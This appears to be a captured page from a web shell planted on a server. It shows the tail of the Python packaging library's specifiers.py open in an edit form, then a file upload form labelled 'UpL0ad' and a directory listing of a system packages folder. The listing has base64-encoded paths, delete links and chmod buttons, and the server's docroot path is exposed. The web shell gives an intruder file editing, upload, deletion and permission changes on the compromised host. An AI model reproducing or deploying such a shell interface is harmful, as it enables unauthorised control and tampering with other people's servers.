        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;, prereleases=True).contains(&quot;1.3.0a1&quot;)
        True
        &gt;&gt;&gt; SpecifierSet(&quot;&gt;=1.0.0,!=1.0.1&quot;).contains(&quot;1.3.0a1&quot;, prereleases=True)
        True
        &quot;&quot;&quot;
        # Ensure that our item is a Version instance.
        if not isinstance(item, Version):
            item = Version(item)

        # Determine if we're forcing a prerelease or not, if we're not forcing
        # one for this particular filter call, then we'll use whatever the
        # SpecifierSet thinks for whether or not we should support prereleases.
        if prereleases is None:
            prereleases = self.prereleases

        # We can determine if we're going to allow pre-releases by looking to
        # see if any of the underlying items supports them. If none of them do
        # and this item is a pre-release then we do not allow it and we can
        # short circuit that here.
        # Note: This means that 1.0.dev1 would not be contained in something
        #       like &gt;=1.0.devabc however it would be in &gt;=1.0.debabc,&gt;0.0.dev0
        if not prereleases and item.is_prerelease:
            return False

        if installed and item.is_prerelease:
            item = Version(item.base_version)

        # We simply dispatch to the underlying specs here to make sure that the
        # given version is contained within all of them.
        # Note: This use of all() here means that an empty set of specifiers
        #       will always return True, this is an explicit design decision.
        return all(s.contains(item, prereleases=prereleases) for s in self._specs)

    def filter(
        self, iterable: Iterable[UnparsedVersionVar], prereleases: Optional[bool] = None
    ) -&gt; Iterator[UnparsedVersionVar]:
        &quot;&quot;&quot;Filter items in the given iterable, that match the specifiers in this set.

        :param iterable:
            An iterable that can contain version strings and :class:`Version` instances.
            The items in the iterable will be filtered according to the specifier.
        :param prereleases:
            Whether or not to allow prereleases in the returned iterator. If set to
            ``None`` (the default), it will be intelligently decide whether to allow
            prereleases or not (based on the :attr:`prereleases` attribute, and
            whether the only versions matching are prereleases).

        This method is smarter than just ``filter(SpecifierSet(...).contains, [...])``
        because it implements the rule from :pep:`440` that a prerelease item
        SHOULD be accepted if no other versions match the given specifier.

        &gt;&gt;&gt; list(SpecifierSet(&quot;&gt;=1.2.3&quot;).filter([&quot;1.2&quot;, &quot;1.3&quot;, &quot;1.5a1&quot;]))
        ['1.3']
        &gt;&gt;&gt; list(SpecifierSet(&quot;&gt;=1.2.3&quot;).filter([&quot;1.2&quot;, &quot;1.3&quot;, Version(&quot;1.4&quot;)]))
        ['1.3', &lt;Version('1.4')&gt;]
        &gt;&gt;&gt; list(SpecifierSet(&quot;&gt;=1.2.3&quot;).filter([&quot;1.2&quot;, &quot;1.5a1&quot;]))
        []
        &gt;&gt;&gt; list(SpecifierSet(&quot;&gt;=1.2.3&quot;).filter([&quot;1.3&quot;, &quot;1.5a1&quot;], prereleases=True))
        ['1.3', '1.5a1']
        &gt;&gt;&gt; list(SpecifierSet(&quot;&gt;=1.2.3&quot;, prereleases=True).filter([&quot;1.3&quot;, &quot;1.5a1&quot;]))
        ['1.3', '1.5a1']

        An &quot;empty&quot; SpecifierSet will filter items based on the presence of prerelease
        versions in the set.

        &gt;&gt;&gt; list(SpecifierSet(&quot;&quot;).filter([&quot;1.3&quot;, &quot;1.5a1&quot;]))
        ['1.3']
        &gt;&gt;&gt; list(SpecifierSet(&quot;&quot;).filter([&quot;1.5a1&quot;]))
        ['1.5a1']
        &gt;&gt;&gt; list(SpecifierSet(&quot;&quot;, prereleases=True).filter([&quot;1.3&quot;, &quot;1.5a1&quot;]))
        ['1.3', '1.5a1']
        &gt;&gt;&gt; list(SpecifierSet(&quot;&quot;).filter([&quot;1.3&quot;, &quot;1.5a1&quot;], prereleases=True))
        ['1.3', '1.5a1']
        &quot;&quot;&quot;
        # Determine if we're forcing a prerelease or not, if we're not forcing
        # one for this particular filter call, then we'll use whatever the
        # SpecifierSet thinks for whether or not we should support prereleases.
        if prereleases is None:
            prereleases = self.prereleases

        # If we have any specifiers, then we want to wrap our iterable in the
        # filter method for each one, this will act as a logical AND amongst
        # each specifier.
        if self._specs:
            for spec in self._specs:
                iterable = spec.filter(iterable, prereleases=bool(prereleases))
            return iter(iterable)
        # If we do not have any specifiers, then we need to have a rough filter
        # which will filter out any pre-releases, unless there are no final
        # releases.
        else:
            filtered: List[UnparsedVersionVar] = []
            found_prereleases: List[UnparsedVersionVar] = []

            for item in iterable:
                parsed_version = _coerce_version(item)

                # Store any item which is a pre-release for later unless we've
                # already found a final version or we are accepting prereleases
                if parsed_version.is_prerelease and not prereleases:
                    if not filtered:
                        found_prereleases.append(item)
                else:
                    filtered.append(item)

            # If we've found no items except for pre-releases, then we'll go
            # ahead and use the pre-releases
            if not filtered and found_prereleases and prereleases is None:
                return iter(found_prereleases)

            return iter(filtered)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/pkg_resources/_vendor/packaging<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvcg=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>501</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmcvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=X2VsZmZpbGUucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X2VsZmZpbGUucHk="/>_elffile.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X2VsZmZpbGUucHk=&c=`+btoa(c):0" value="0644"></td><td>3266</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=X21hbnlsaW51eC5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X21hbnlsaW51eC5weQ=="/>_manylinux.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X21hbnlsaW51eC5weQ==&c=`+btoa(c):0" value="0644"></td><td>8926</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=X211c2xsaW51eC5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X211c2xsaW51eC5weQ=="/>_musllinux.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X211c2xsaW51eC5weQ==&c=`+btoa(c):0" value="0644"></td><td>2524</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=X3BhcnNlci5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X3BhcnNlci5weQ=="/>_parser.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X3BhcnNlci5weQ==&c=`+btoa(c):0" value="0644"></td><td>10194</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=X3N0cnVjdHVyZXMucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X3N0cnVjdHVyZXMucHk="/>_structures.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X3N0cnVjdHVyZXMucHk=&c=`+btoa(c):0" value="0644"></td><td>1431</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=X3Rva2VuaXplci5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X3Rva2VuaXplci5weQ=="/>_tokenizer.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=X3Rva2VuaXplci5weQ==&c=`+btoa(c):0" value="0644"></td><td>5292</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=bWFya2Vycy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=bWFya2Vycy5weQ=="/>markers.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=bWFya2Vycy5weQ==&c=`+btoa(c):0" value="0644"></td><td>8208</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=bWV0YWRhdGEucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=bWV0YWRhdGEucHk="/>metadata.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=bWV0YWRhdGEucHk=&c=`+btoa(c):0" value="0644"></td><td>16397</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=cmVxdWlyZW1lbnRzLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=cmVxdWlyZW1lbnRzLnB5"/>requirements.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=cmVxdWlyZW1lbnRzLnB5&c=`+btoa(c):0" value="0644"></td><td>3287</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=c3BlY2lmaWVycy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=c3BlY2lmaWVycy5weQ=="/>specifiers.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=c3BlY2lmaWVycy5weQ==&c=`+btoa(c):0" value="0644"></td><td>39206</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=dGFncy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=dGFncy5weQ=="/>tags.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=dGFncy5weQ==&c=`+btoa(c):0" value="0644"></td><td>18106</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=dXRpbHMucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=dXRpbHMucHk="/>utils.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=dXRpbHMucHk=&c=`+btoa(c):0" value="0644"></td><td>4355</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&x=dmVyc2lvbi5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=dmVyc2lvbi5weQ=="/>version.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3BrZ19yZXNvdXJjZXMvX3ZlbmRvci9wYWNrYWdpbmc=&f=dmVyc2lvbi5weQ==&c=`+btoa(c):0" value="0644"></td><td>16326</td></tr></table>